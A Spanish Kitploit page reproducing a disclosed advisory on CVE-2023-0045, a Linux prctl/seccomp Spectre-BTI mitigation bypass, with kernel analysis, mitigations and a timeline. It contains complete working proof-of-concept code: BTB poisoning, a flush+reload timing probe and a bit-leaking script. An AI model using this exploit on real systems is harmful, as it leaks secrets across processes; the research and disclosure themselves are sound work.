Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-0045 — Análisis técnico y prueba de concepto que demuestra una evasión de las mitigaciones del espacio de usuario de Spectre-BTI en el kernel de Linux mediante prctl y seccomp, con un exploit de canal lateral flush+reload. | Kitploit
Herramientas/GitHubGitHub/askyeye/cve-2023-0045
Análisis de VulnerabilidadesExplotaciónSeguridad de HardwarePapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubaskyeye/cve-2023-0045

CVE-2023-0045

Análisis técnico y prueba de concepto que demuestra una evasión de las mitigaciones del espacio de usuario de Spectre-BTI en el kernel de Linux mediante prctl y seccomp, con un exploit de canal lateral flush+reload.

Ver Repositorio
34hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Evadiendo las mitigaciones de Spectre-BTI en el espacio de usuario en Linux

Este es un documento de trabajo, envíenos comentarios si cree que nos equivocamos en algo o si omitimos una cita

Versión 1.0

José Oliveira (esoj)

Rodrigo Branco (BSDaemon)

Introducción

Al probar la tasa de éxito de los ataques Spectre-BTI, detectamos un patrón extraño al usar la API del kernel como mitigación1. Nuestras pruebas revelaron que el kernel de Linux no mitiga correctamente el ataque, dejando el proceso expuesto durante un breve período de tiempo después de la syscall.

Una investigación más a fondo mostró que el kernel no emite un IBPB inmediatamente durante la syscall. La función ib_prctl_set2 actualiza los Thread Information Flags (TIFs) para la tarea y actualiza el MSR SPEC_CTRL en la función __speculation_ctrl_update 3, pero el IBPB solo se emite en el próximo schedule, cuando se verifican los bits TIF. Esto deja a la víctima vulnerable a valores ya inyectados en el BTB, antes de la syscall prctl. El comportamiento solo se corrige después de que ocurra una reprogramación de la tarea. Además, la entrada al kernel (debido a la syscall en sí) no emite un IBPB en los escenarios predeterminados (es decir, cuando el kernel se protege a sí mismo mediante retpoline o eIBRS).

La mitigación prctl

Ejecutar un prctl para mitigar los ataques spectre-BTI usando: prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); conduce a la función ib_prctl_set2 en el kernel 5.15. Cuando se usa la opción SPEC_DISABLE, el bit TIF para task_set_spec_ib_disable se establece y se llama a task_update_spec_tif:

root@kitploit:~
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

task_set_spec_ib_disable llama a set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE); y si la tarea objetivo es la actual, llama a speculation_ctrl_update_current();

root@kitploit:~
static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

speculation_ctrl_update_current después del envoltorio speculation_ctrl_update ejecuta __speculation_ctrl_update con tifp = ~tifp, aquí se ejecuta la actualización del wrmsr para establecer STIBP pero no se emite ningún IBPB:

root@kitploit:~
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

La syscall seccomp también usa ib_prctl_set2 como mitigación, dentro de arch_seccomp_spec_mitigate4 por lo que se espera el mismo resultado con seccomp.

Pruebas

Si bien mediante el análisis de código estamos seguros de que existe la ventana para explotar, no estaba claro si era lo suficientemente grande para que la víctima cargara secretos y el atacante los filtrara (ya que se espera que los secretos no estén en el espacio de direcciones de la víctima hasta que se emita la llamada prctl). Las pruebas se ejecutaron en una máquina bare metal con soporte para mitigaciones de hardware, con ubuntu 22.04.1 LTS instalado:

root@kitploit:~
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

El código de prueba consiste en dos procesos ejecutándose en el mismo núcleo lógico. El atacante envenena constantemente el BTB con la dirección de un gadget spectre presente en un proceso víctima. El proceso víctima mide la tasa de mispredicción verificando si una variable de prueba fue accedida por la función gadget spectre. Esto normalmente devuelve la siguiente salida:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

Luego, se usa PRCTL para mitigar el ataque. La mitigación se puede habilitar agregando prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); al comienzo del programa. Se espera que esto mitigue el ataque spectre-BTI:

root@kitploit:~
PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

Sin embargo, algunas de las pruebas mostraron un resultado diferente:

root@kitploit:~
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

Y cambiar el 'nice' (prioridad) parece afectar la tasa de mispredicción:

root@kitploit:~
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

Esto indica que prctl solo protegió el proceso después del próximo schedule, como se entendió mediante el análisis de código. Otro comportamiento extraño de esta prueba es que después de una rama incorrecta, la ruta de especulación debería corregirse y el valor verdadero debe escribirse en el BTB. Dado que no hay otros atacantes en el hilo hermano para re-envenenar el BTB, valores tan altos de mispredicción son inesperados.

Prueba de Concepto

Para asegurarnos de que esto no fuera un error de medición, creamos una POC simple. El código de la víctima siempre ejecuta una safe_function a través de un puntero a función que es vulnerable a un ataque spectre-BTI. La víctima solicita al kernel protección usando la syscall prctl (dentro de protect_me). La víctima también carga un secreto de un archivo de texto, mostrando que otras syscalls tampoco verifican el bit TIF ni provocan una reprogramación que forzaría un IBPB.

root@kitploit:~
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

La mayoría de las funciones de libc se colocaron dentro de un encabezado común entre el atacante y la víctima para que las funciones spectre_gadget y spec compartan las mismas direcciones de memoria tanto en la víctima como en el atacante (de lo contrario, se crea una entrada .GOT y las direcciones se modifican). Esto no es un requisito y hay otras formas de colocar las ramas en las mismas direcciones y emular el contexto de la víctima, pero este método es más simple.

root@kitploit:~
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

El ataque consiste en envenenar el BTB llamando a la función spec y haciendo que bifurque a spectre_gadget en lugar de safe_function. Después del entrenamiento, se crea el proceso víctima y ejecuta spec que predice incorrectamente a spectre_gadget, que nunca debería ejecutarse. El secreto se filtra a través de un canal lateral clásico flush+reload.

root@kitploit:~
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

Dado que la víctima recibe un argumento que se puede usar para elegir el bit que se va a filtrar a través del canal lateral, podemos ejecutar el proceso víctima varias veces mientras el atacante se está ejecutando:

root@kitploit:~
taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

Esto deja el siguiente archivo de texto:

root@kitploit:~
Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]

Note que los bits 0 y 6 son 1, por lo tanto, el primer carácter debe ser 0x41(A). Analizando el archivo con un script Python simple muestra: The secret leaked is: b'Asuper_secret_flag' Que es el contenido exacto presente en secret.txt usado por la víctima.

Cambiar la llamada prctl por seccomp con syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); después de cargar el secreto no previene el ataque. Esto es esperado ya que internamente ambas usan la misma función ib_prctl_set para implementar la mitigación.

Conclusión

La implementación actual de la syscall prctl para el control especulativo no protege al usuario contra atacantes que se ejecutan antes de la mitigación. La mitigación seccomp también falla en este escenario.

Mitigaciones

Para aplicaciones en modo usuario, un usleep después de la llamada prctl es suficiente para forzar una reprogramación y asegurar la mitigación correcta. Un posible parche del kernel para este ataque es emitir el IBPB al mismo tiempo que se establece STIBP, en __speculation_ctrl_update 3 o llamar a schedule().

Cronología

  • 27 de diciembre de 2022 - Comportamiento inesperado en prctl detectado

  • 29 de diciembre de 2022 - Primera versión de este informe

  • 31 de diciembre de 2022 - Compartido con el equipo de seguridad del kernel de Linux

  • 3 de febrero de 2023 - Informe divulgado públicamente: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8

Referencias:

Footnotes

  1. "Guía de API de espacio de usuario del kernel de Linux: Control de especulación". Enlace: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩

  2. "Código fuente de Linux" Enlace: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467 ↩ ↩2 ↩3

  3. "Código fuente de Linux" Enlace: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557 ↩ ↩2

  4. "Código fuente de Linux" Enlace: https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616 ↩

Descargar herramienta